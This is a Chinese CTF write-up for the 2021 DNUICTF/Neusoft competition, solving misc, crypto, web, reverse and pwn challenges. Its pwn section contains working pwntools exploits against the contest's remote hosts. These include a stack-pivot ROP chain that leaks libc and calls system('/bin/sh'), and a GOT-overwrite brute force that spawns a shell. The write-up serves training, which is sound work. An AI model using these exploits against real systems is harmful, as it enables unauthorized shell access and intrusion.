第一届东软杯网络CTF竞赛-DNUICTF

由大连市公安局作为指导单位,大连东软信息学院主办,网络安全工作室承办,大连东软信息学院网络与信息中心、计算机学院、软件学院,品牌发展部、微光网络工作室协办,品牌发展部与微光网络工作室提供设计支持,大连暗泉信息技术有限公司赞助支持的“暗泉杯”网络安全竞赛将于2021年12月份举行。该竞赛是运用信息安全知识的一次创新性竞赛活动,希望通过这次比赛增强我校学生的安全知识运用能力和经验积累。本次比赛也面向校外开放注册通道,旨在为信息安全领域爱好者提供一个交流和水平展示的舞台。

本次竞赛采用线上CTF(Capture The Flag,夺旗赛)赛制。选手充分运用自身掌握的各方面的知识与技能,设法解开题目,获得题目中的“Flag”并提交,得到分数,最终根据分数排名。内容涉及Reverse(逆向分析),Web(Web漏洞利用),PWN(溢出类),Crypto(密码学),Misc(混合杂项题)等方面。

竞赛时间

2021年12月4日 10:00—2021年12月5日22:00(36个小时)

报名平台链接:http://ctf.neusoft.edu.cn/

Rank: 9


MISC

[签到]签到

除特别说明外本次比赛flag的格式统一为 flag{字符串}

比如下面这个就是一个典型的flag

flag{Dnui_ctf_2021_s1gn_in}

将上面的flag提交即可完成答题

另外本次CTF比赛会根据整体解题情况分批次放出题目 (解不出题时 可以等待下一波新题目放出继续作答)

请加入QQ群 630995618 或查看平台公告 关注题目动态

flag{Dnui_ctf_2021_s1gn_in}

[萌新]在哪呢

FLAG在哪呢

pdf内容全选复制,打开任一文本编辑器粘贴,发现flag:flag{hey_there_is_no_thing}

只是个PNG,别想太多了.png

binwalk命令查看png图片:binwalk -e PNG.png,分解出最后一个zlib块,发现flag:flag{zhe_ti_mu_ye_tai_bt_le_XD}

压缩包压缩包压缩包压缩包

zip压缩包套娃,每一层的密码是文件名,python脚本解套:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import zipfile 
import os

now = "yasuobao.zip"

while 1:
print("START "+now)
zfile = zipfile.ZipFile(now)
password = zfile.namelist()[0].split('.')[0]
try:
zfile.extractall(members=zfile.namelist(), pwd=password.encode('utf-8'))
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names = os.listdir()
print(names)
for name in names:
if name.endswith('.zip') and name != now:
now=name
break
except:
break
print('END '+now)

最后解压得到 23333.zip,打开发现注释提示密码6位数,ARCHPR爆破得756698,解压得flag:flag{Unz1p_i5_So_C00l##}

easysteg

png图片,二维码用微信扫出内容 某种常见的隐写,用010editor 16进制查看,发现尾部有zip压缩包,提取出来,解压出 _find.png

尝试高低位隐写、盲水印等无结果,考虑stegpy:

stegpy _find.png

得到flag:flag{Do_U_Kn0w_Ste9py??}

range_download

Hint: filter: dns

Wireshark打开流量包文件,观察到有很多返回1字节的流,且请求中都带 xxx-xxx/2460 字符串,猜测为文件 flag.7z 的单字节断点下载 ,根据请求与响应特征,用脚本提取出所有1字节,并按相应位置填入数组,以字节形式写入文件。发现缺少第2349位字节,按照0x00-0xff分别填入,生成256个7z文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import re

f = open('range.pcapng','rb').read()

x1 = b'\x0d\x0aContent-Range: bytes '
l1 = len(x1)
pos1 = [i.start() for i in re.finditer(x1, f)]
x2 = b'\x0d\x0aContent-Type: application/x-7z-compressed\x0d\x0a\x0d\x0a'
l2 = len(x2)
pos2 = [i.start() for i in re.finditer(x2, f)][1:]

realpos = [int(f[k+l1:k+l1+10][:f[k+l1:k+l1+10].index(b'-')]) for k in pos1]
realval = [f[k+l2:k+l2+10][0] for k in pos2]

out = [-1]*2460
for i in range(len(pos1)):
out[realpos[i]]=realval[i]

print(out.index(-1))
print(type(out[0]))

for i in range(256):
out[2349]=i
outbyte = bytes(out)
open(f'xxx/flag{i}.7z','wb').write(outbyte)

生成的7z文件都加密,爆破无果。

后面放出提示 filter: dns,重新Wireshark打开流量包,过滤dns流量,发现域名 .nss.neusoft.edu.cn 前的主机名可以组成一串base64编码 cGFzc3dvcmQ6IG5zc195eWRzIQ==,解码有 password: nss_yyds!

使用脚本批量尝试解压256个7z压缩包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import py7zr
import os

def uncompress(path_name):
if py7zr.is_7zfile(path_name):
try:
d_name = 'nss_yyds!'
with py7zr.SevenZipFile(path_name,password=d_name, mode='r') as sevenZ_f:
sevenZ_f.extractall(path_name.rsplit(".7z")[0])
except Exception as e:
print('Error when uncompress file! info: ', e)
return False
else:
return True
else:
print('This is not a true 7z file!')
return False

if __name__ == '__main__':
folder_name = 'xxx'
os.chdir(folder_name)
files = os.listdir(folder_name)
for f in files:
f_path = folder_name + os.sep + f
if os.path.isfile(f_path):
print("解压--"+f)
uncompress(path_name=f_path)

运行完成发现 flag194.7z 解压成功,得到一张二维码,

扫描得到的内容,经hex+base64+base62+base58+base32 解码得flag:flag{6095B134-5437-4B21-BE52-EDC46A276297}

ecryptedzip

只提供了一个带 README.mdLICENSE 两个文件的加密zip压缩包,用ARCHPR弱密码及字典都无法得到密码。

想到这两个文件经常默认出现在Github库中,随便找一个Github库,下载LICENSE文件,发现大小与压缩包内的LICENSE文件相近,可以采用已知部分明文(至少连续12字节)攻击方式破解。保留下载的LICENSE文件中前几行内容,用rbkcrack工具跑key:

rbkcrack.exe -C ecryptedzip.zip -c LICENSE -p LICENSE.txt

拿到三组key之后进行解密:

rbkcrack.exe -C ecryptedzip.zip -c README.md -k 32cc3495 7f955ff5 58291af3 -d README.md

或直接将key输入ARCHPR的明文攻击模式里的key输入框中,成功解压zip包。

flag:flag{Kn0wn_pla1ntext_attack_Is_very_Usefully}

CRYPTO

[签到]键盘侠

UYTGBNM EDCV UYTGBNM TGBUHM YTFVBH QAZXCDE TYUHN EDCTGBF RFVYGN

flag{} 提交时括号内为大写字母

键盘密码,按字母顺序在键位比划:flag{CLCKOUTHK}

[萌新]素数

目前768位的素数选择下,rsa等公钥加密算法已经不安全,rsa加密需要进行更大素数的选择,请您选出10个1024位以上的大素数提交给我

http://sushu_tyen54ybg54dbgdnbd.nssctf.neusoft.edu.cn/

备用

http://sushu_5rg35rg4g.nssctf.neusoft.edu.cn/

页面输入10个1024位以上的素数提交拿flag。生成1025位的素数:

1
2
3
4
from Crypto.Util.number import *

for i in range(10):
print(getPrime(1025))

flag:flag{d6a6a1bc-88e9-4330-83f9-bdd3bdad5401}

silent_peeper

You are just a silent peeper, silently discovering the secret.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from Crypto.Cipher import AES
import binascii

flag = "flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)

p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843
g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
a = getRandomNBitInteger(40)
b = getRandomNBitInteger(40)
A = pow(g, a, p)
B = pow(g, b, p)
assert pow(A, b, p) == pow(B, a, p)
key = pow(A, b ,p)
key = long_to_bytes(key)[:16]
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(flag))

with open('cipher', 'w') as f:
f.write("A, B = {}\n".format(str((A, B))))
f.write("ciphertext = {}\n".format(binascii.hexlify(ciphertext)))
f.close()

# cipher
# A, B = (142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016L, 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544L)
# ciphertext = ed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c

Diffie-Hellman密钥交换,已知生成元 $g$、模数 $p$ 和AB根据40位随机数 $a,b$ 生成的各自的数 $A=g^a \pmod p,B=g^b \pmod p$,求共享密钥 $K=g^{ab} \pmod p$。

$a,b$ 都为40位比较小,可以采用lambda算法解离散对数,解出 $a$ 或 $b$ 即可计算 $K$:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Sage
p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843
g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
A, B = (142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016, 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544)
k = GF(p)
B = k(B)
g = k(g)
b = discrete_log_lambda(B,g,(1,2**40))
ciphertext = 'ed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c'
key = pow(A, b ,p)
key = long_to_bytes(key)[:16]
cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(bytes.fromhex(ciphertext))
print(m)

# b'flag{21384433-0dc7-413b-9d09-64cc97c99730}\x06\x06\x06\x06\x06\x06'

flag:flag{21384433-0dc7-413b-9d09-64cc97c99730}

WEB

[签到] flag

http://47.106.172.144:65333/

页面不断随机输出flag各位置对应字符,复制,脚本填充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
flag=['?']*20
flag[11]='f'
flag[16]='a'
flag[19]='9'
flag[10]='N'
flag[5]='3'
flag[15]='n'
flag[16]='a'
flag[4]='Z'
flag[8]='c'
flag[4]='Z'
flag[17]='W'
flag[11]='f'
flag[2]='x'
flag[7]='u'
flag[9]='3'
flag[8]='c'
flag[17]='W'
flag[11]='f'
flag[9]='3'
flag[13]='G'
flag[11]='f'
flag[0]='Z'
flag[0]='Z'
flag[10]='N'
flag[12]='b'
flag[1]='m'
flag[0]='Z'
flag[14]='9'
flag[1]='m'
flag[0]='Z'
flag[16]='a'
flag[14]='9'
flag[16]='a'
flag[13]='G'
flag[3]='h'
flag[12]='b'
flag[11]='f'
flag[12]='b'
flag[15]='n'
flag[3]='h'
flag[9]='3'
flag[17]='W'
flag[5]='3'
flag[6]='t'
flag[18]='5'
print(''.join(flag))
# ZmxhZ3tuc3NfbG9naW59

base64解码得flag:flag{nss_login}

REVERSE

[签到]signin

逆向 真 签到题

010editor 16进制查看,搜索出flag:flag{REVERSE_1s_Very_3asy!}

[萌新]happyCTF

IDA反编译,发现去了符号,分析代码逻辑,需输入长度24的flag字符串,经 sub_403B70() 函数里逐字符异或0x14后,与字符串 rxusoCqxw{yqK`{KZqag{r`i 比较,相等则通过。

按异或性质,将字符串与0x14逐字符异或还原flag:flag{Welcome_to_Neusoft}

Remember Crypt 4

从题目就能猜出是RC4,main() 函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
unsigned int v4; // eax
void *v5; // rax
void *v7; // rax
int i; // [rsp+24h] [rbp-D4h]
void *v9; // [rsp+28h] [rbp-D0h]
char v10[32]; // [rsp+30h] [rbp-C8h] BYREF
char Str[128]; // [rsp+50h] [rbp-A8h] BYREF

strcpy(Str, "12345678abcdefghijklmnopqrspxyz");
memset(&Str[32], 0, 0x60ui64);
memset(v10, 0, 0x17ui64);
sub_1400054D0("%s", v10);
v9 = malloc(0x408ui64);
v3 = strlen(Str);
sub_140001120(v9, Str, v3);
v4 = strlen(v10);
sub_140001240(v9, v10, v4);
for ( i = 0; i < 22; ++i )
{
if ( ((unsigned __int8)v10[i] ^ 0x22) != byte_14013B000[i] )
{
v5 = (void *)sub_1400015A0(&off_14013B020, "error");
_CallMemberFunction0(v5, sub_140001F10);
return 0;
}
}
v7 = (void *)sub_1400015A0(&off_14013B020, "nice job");
_CallMemberFunction0(v7, sub_140001F10);
return 0;
}

整体逻辑为,输入字符串经过 sub_140001120()sub_140001240() 函数处理后,与0x22异或,与 byte_14013B000 数组比较。看两函数特征,分别为RC4算法的KSA和PRGA函数,key为 12345678abcdefghijklmnopqrspxyz

IDA提取数组hex值:9EE7305FA701A653591B0A20F173D10EAB09840E8D2B0000,Cyberchef FromHex+XOR+RC4一把梭,得到flag:flag{nice_to_meet_you}

PWN

[签到]NssShop

nc 47.106.172.144 65002

真 签到题 不会PWN的同学也可以来试试

nc连接,当前金额为0,选择 1.Buy Item

看到flag价格10000,hint价格0,选择 1.Hint:0$

回显 Unlimited purchase of items in the shop,说明数量无上限。

利用int型溢出性质,使得flag单价与数量乘积的总价上溢为负数即可。

选择 0.Flag:10000$,输入数量111111111,得到flag:flag{Pwn_Is_Vary_Ez}

justdoit

nc 47.106.172.144 65004

IDA分析,main() 函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
printf("Hi there! What is your name? ");
read(0, buf, 0x18uLL);
puts("That is an interesting chall");
printf("where are you from? my frends??");
read_long();
return 0;
}

read_long() 函数:

1
2
3
4
5
6
7
__int64 read_long()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

read(0, buf, 0x13uLL);
return atol(buf);
}

从代码看不出有什么利用之处,切换回汇编视图,发现 read_long() 函数在返回rax值时,rbp存在一个加操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:00000000004011D5 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004011D5 public main
.text:00000000004011D5 main proc near ; DATA XREF: _start+21↑o
.text:00000000004011D5
.text:00000000004011D5 buf = byte ptr -20h
.text:00000000004011D5
.text:00000000004011D5 ; __unwind {
.text:00000000004011D5 push rbp
.text:00000000004011D6 mov rbp, rsp
.text:00000000004011D9 sub rsp, 20h
.text:00000000004011DD mov eax, 0
.text:00000000004011E2 call init
.text:00000000004011E7 lea rax, format ; "Hi there! What is your name? "
.text:00000000004011EE mov rdi, rax ; format
.text:00000000004011F1 mov eax, 0
.text:00000000004011F6 call _printf
.text:00000000004011FB lea rax, [rbp+buf]
.text:00000000004011FF mov edx, 18h ; nbytes
.text:0000000000401204 mov rsi, rax ; buf
.text:0000000000401207 mov edi, 0 ; fd
.text:000000000040120C call _read
.text:0000000000401211 lea rax, s ; "That is an interesting chall"
.text:0000000000401218 mov rdi, rax ; s
.text:000000000040121B call _puts
.text:0000000000401220 lea rax, aWhereAreYouFro ; "where are you from? my frends??"
.text:0000000000401227 mov rdi, rax ; format
.text:000000000040122A mov eax, 0
.text:000000000040122F call _printf
.text:0000000000401234 mov eax, 0
.text:0000000000401239 call read_long
.text:000000000040123E add rbp, rax ; 加操作
.text:0000000000401241 mov eax, 0
.text:0000000000401246 leave
.text:0000000000401247 retn
.text:0000000000401247 ; } // starts at 4011D5
.text:0000000000401247 main endp

接着的 leavemov rsp,rbp; pop rbp,rsp将变为rbp+rax,控制rax为-0x20-8,结合 leave 操作可以将rsp移动到 buf 处以写入ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

binary = context.binary = ELF('./justdoit.1')

p = remote('47.106.172.144', 65004)
libc = ELF('./libc-2.23.so')

pop_rdi = binary.search(asm('pop rdi; ret;')).__next__()
pop2 = binary.search(asm('pop r14; pop r15; ret;')).__next__()

payload = b''
payload += p64(binary.sym.main)
payload += p64(binary.plt.puts)
payload += p64(binary.sym.main)

p.sendafter(b'name? ', payload)
p.sendafter(b'frends??', b'-40')

payload = b''
payload += p64(pop_rdi)
payload += p64(binary.got.puts)
payload += p64(pop2)

p.sendafter(b'name? ', payload)
p.sendafter(b'frends??', b'-40')

libc.address = u64(p.recv(6) + b'\0\0') - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))

payload = b''
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').__next__())
payload += p64(libc.sym.system)

p.sendafter(b'name? ', payload)
p.sendafter(b'frends??', b'-40')
p.interactive()

flag:ctf{01241e36-ea17-4bed-b620-f64f10e5c192}

reallNeedGoodLuck

nc 47.106.172.144 65003

IDA分析,main() 函数代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [rsp+0h] [rbp-30h]
int buf; // [rsp+Ch] [rbp-24h] BYREF
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("need");
puts("good");
read(0, &buf, 4uLL);
puts("luck! ");
read(0, nptr, 9uLL);
v3 = (_DWORD *)atoi(nptr);
*v3 = buf;
exit(0);
}

bufnptr 都无溢出点,但可以向 buf 写入4字节并覆盖掉写入nptr中值对应地址的内容。

可以任意地址写,考虑将 atoi 改为libc中的 system,再向 system 传入 /bin/sh\x00 即可getshell,为达成两步利用,还需将 exit 改为 main 地址。

atoisystem 的偏移只有最后2字节不同,又由于ASLR开启,后1.5字节为0,所以有0.5/8=1/16的几率能将 atoi 改为 system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

binary = context.binary = ELF('./reallNeedGoodLuck.1')

context.log_level = 'WARN'

attempt = 0
while True:
try:
p = remote('47.106.172.144', 65003)
libc = ELF('./libc-2.23.so')
tout = 1.0

attempt += 1
log.warn('attempt: ' + str(attempt))

p.sendafter(b'good\n',p32(binary.sym.main))
p.sendafter(b'luck! \n',str(binary.got.exit).encode())

p.sendafter(b'good\n',p32(((libc.sym.system | 0xf000) & 0xffff) << 16))
p.sendafter(b'luck! \n',str(binary.got.atoi - 2).encode())

p.sendafter(b'good\n',b'0000',timeout=tout)
p.sendafter(b'luck! \n',b'/bin/sh\x00',timeout=tout)

p.sendline(b'echo test')
if b'test' in p.recvline(timeout=tout):
p.interactive()
break
except AssertionError as err:
print(err)
sys.exit(1)
except:
try:
p.close()
except:
continue

flag:ctf{8b1bf41f-8b38-4487-86ae-a5df4fa4c85e}